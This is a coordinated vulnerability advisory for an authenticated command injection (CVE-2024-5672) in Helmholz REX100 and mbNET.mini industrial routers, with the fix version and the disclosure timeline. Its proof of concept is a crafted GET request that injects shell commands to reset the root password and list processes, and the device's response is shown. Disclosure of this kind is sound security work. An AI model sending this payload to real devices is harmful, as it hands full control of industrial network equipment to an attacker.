Headline

Helmholz Industrial Router REX100 / MBConnectline mbNET.mini 2.2.11 Command Injection

Helmholz Industrial Router REX100 and MBConnectline mbNET.mini versions 2.2.11 and below suffer from a command injection vulnerability.

5 months ago

Packet Storm

Open in Source

#vulnerability #web #mac #auth

CyberDanube Security Research 20240703-0

            title| Authenticated Command Injection  
          product| Helmholz Industrial Router REX100  
                 | MBConnectline mbNET.mini

Vendor description

“Helmholz is your specialist when it comes to sophisticated products for your
automation projects. With current, clever system solutions from Helmholz, the
high demands placed on industrial networks in times of increasing automation
can be met both reliably and efficiently - including a high level of operating
convenience. The broad product spectrum ranges from a decentralized I/O system
to switches and repeaters, gateways, a NAT gateway/firewall and secure IoT
remote machine access.”

Source: https://www.helmholz.de/en/company/about-helmholz/

Vulnerable versions

Helmholz Industrial Router REX100 <= 2.2.11
MBConnectline mbNET.mini <= 2.2.11

Vulnerability overview

Authenticated Command Injection (CVE-2024-5672)
A command injection was identified on the webserver. This vulnerability can
only be exploited if a user is authenticated on the web interface. This way,
an attacker can invoke commands and is able to get full control over the whole
device.

Proof of Concept

Authenticated Command Injection (CVE-2024-5672)
The following GET request changes the password for the root user and returns
the process list of the device.

GET /cgi-bin/ping;echo$IFS’root:password’|chpasswd;ps;.sh HTTP/1.1
Host: 192.168.25.11
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic aGVsbWhvbHo6cm91dGVy
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.0 200 OK
This is haserl version 0.8.0
This program runs as a cgi interpeter, not interactively.
Bug reports to: Nathan Angelacos [email protected]

Password for ‘root’ changed
PID USER VSZ STAT COMMAND
1 root 2292 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
4 root 0 SW [events/0]
5 root 0 SW [khelper]
8 root 0 SW [async/mgr]
[…]

Solution

Update to latest version: 2.2.13

Workaround

None

Recommendation

CyberDanube recommends Helmholz customers to upgrade the firmware to the latest
version available and to restrict network access to the management interface of
the device.

Contact Timeline

2024-05-15: Contacting Helmholz via [email protected].
2024-05-15: Receiving security contact for MBConnectline.
2024-05-21: Contact stated they are working on a fix.
2024-06-13: Received advisory from contact and assigned CVE number.
2024-07-01: Contact sends out final release date.
2024-07-03: Coordinated release of advisory with CERT@VDE.

Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF S. Dietz / @2024